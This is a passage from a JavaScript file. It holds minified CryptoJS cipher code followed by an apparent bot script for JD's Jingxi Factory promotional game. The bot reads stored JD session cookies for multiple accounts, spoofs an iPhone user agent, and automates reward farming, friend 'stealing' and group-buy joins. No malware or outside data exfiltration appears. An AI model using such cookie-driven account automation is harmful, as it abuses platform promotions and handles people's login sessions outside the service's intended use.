514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +const $ = new Env('京喜工厂'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +//通知级别 1=生产完毕可兑换通知;2=可兑换通知+生产超时通知+兑换超时通知;3=可兑换通知+生产超时通知+兑换超时通知+未选择商品生产通知(前提:已开通京喜工厂活动);默认第2种通知 +let notifyLevel = $.isNode() ? process.env.JXGC_NOTIFY_LEVEL || 2 : 2; +const randomCount = $.isNode() ? 20 : 5; +let tuanActiveId = ``, hasSend = false; +const jxOpenUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wqsd.jd.com/pingou/dream_factory/index.html%22%20%7D`; +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +const inviteCodes = [ + '' +]; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.tuanIds = []; +$.appId = 10001; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (process.env.DREAMFACTORY_FORBID_ACCOUNT) process.env.DREAMFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requestAlgo(); + await getActiveId();//自动获取每期拼团活动ID + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ele = 0; + $.pickEle = 0; + $.pickFriendEle = 0; + $.friendList = []; + $.canHelpFlag = true;//能否助力朋友(招工) + $.tuanNum = 0;//成团人数 + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdDreamFactory() + } + } + if (tuanActiveId) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.isLogin = true; + $.canHelp = true;//能否参团 + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + + if ((cookiesArr && cookiesArr.length >= ($.tuanNum || 5)) && $.canHelp) { + console.log(`\n账号${$.UserName} 内部相互进团\n`); + for (let item of $.tuanIds) { + console.log(`\n${$.UserName} 去参加团 ${item}`); + if (!$.canHelp) break; + await JoinTuan(item); + await $.wait(1000); + } + } + if ($.canHelp) await joinLeaderTuan();//参团 + } + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: jxOpenUrl }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdDreamFactory() { + try { + await userInfo(); + await QueryFriendList();//查询今日招工情况以及剩余助力次数 + // await joinLeaderTuan();//参团 + await helpFriends(); + if (!$.unActive) return + // await collectElectricity() + await getUserElectricity(); + await taskList(); + await investElectric(); + await QueryHireReward();//收取招工电力 + await PickUp();//收取自家的地下零件 + await stealFriend(); + if (tuanActiveId) { + await tuanActivity(); + await QueryAllTuan(); + } + await exchangeProNotify(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function getActiveId(url = 'https://wqsd.jd.com/pingou/dream_factory/index.html') { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if(err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = data && data.match(/window\._CONFIG = (.*) ;var __getImgUrl/) + if (data) { + data = JSON.parse(data[1]); + const tuanConfigs = (data[0].skinConfig[0].adConfig || []).filter(vo => !!vo && vo['channel'] === 'h5'); + if (tuanConfigs && tuanConfigs.length) { + for (let item of tuanConfigs) { + const start = item.start; + const end = item.end; + const link = item.link; + if ((new Date(item.start).getTime() <= Date.now()) && (new Date(item.end).getTime() > Date.now())) { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}`); + tuanActiveId = link.match(/activeId=(.*),/)[1]; + break + } + } else if ((new Date(item.start).getTime() > Date.now()) && (new Date(item.end).getTime() > Date.now())) { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}\n团ID还未开始`); + tuanActiveId = ''; + } + } else { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}\n团ID已过期`); + tuanActiveId = ''; + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 收取发电机的电力 +function collectElectricity(facId = $.factoryId, help = false, master) { + return new Promise(async resolve => { + // let url = `/dreamfactory/generator/CollectCurrentElectricity?zone=dream_factory&apptoken=&pgtimestamp=&phoneID=&factoryid=${facId}&doubleflag=1&sceneval=2&g_login_type=1`; + // if (help && master) { + // url = `/dreamfactory/generator/CollectCurrentElectricity?zone=dream_factory&factoryid=${facId}&master=${master}&sceneval=2&g_login_type=1`; + // } + let body = `factoryid=${facId}&apptoken=&pgtimestamp=&phoneID=&doubleflag=1`; + if (help && master) { + body += `factoryid=${facId}&master=${master}`; + } + $.get(taskurl(`generator/CollectCurrentElectricity`, body, `_time,apptoken,doubleflag,factoryid,pgtimestamp,phoneID,timeStamp,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (help) { + $.ele += Number(data.data['loginPinCollectElectricity']) + console.log(`帮助好友收取 ${data.data['CollectElectricity']} 电力,获得 ${data.data['loginPinCollectElectricity']} 电力`); + message += `【帮助好友】帮助成功,获得 ${data.data['loginPinCollectElectricity']} 电力\n` + } else { + $.ele += Number(data.data['CollectElectricity']) + console.log(`收取电力成功: 共${data.data['CollectElectricity']} `); + message += `【收取发电站】收取成功,获得 ${data.data['CollectElectricity']} 电力\n` + } + } else { + if (help) { + console.log(`收取好友电力失败:${data.msg}\n`); + } else { + console.log(`收取电力失败:${data.msg}\n`); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 投入电力 +function investElectric() { + return new Promise(async resolve => { + // const url = `/dreamfactory/userinfo/InvestElectric?zone=dream_factory&productionId=${$.productionId}&sceneval=2&g_login_type=1`; + $.get(taskurl('userinfo/InvestElectric', `productionId=${$.productionId}`, `_time,productionId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.ret === 0) { + console.log(`成功投入电力${data.data.investElectric}电力`); + message += `【投入电力】投入成功,共计 ${data.data.investElectric} 电力\n`; + } else { + console.log(`投入失败,${data.msg}`); + message += `【投入电力】投入失败,${data.msg}\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 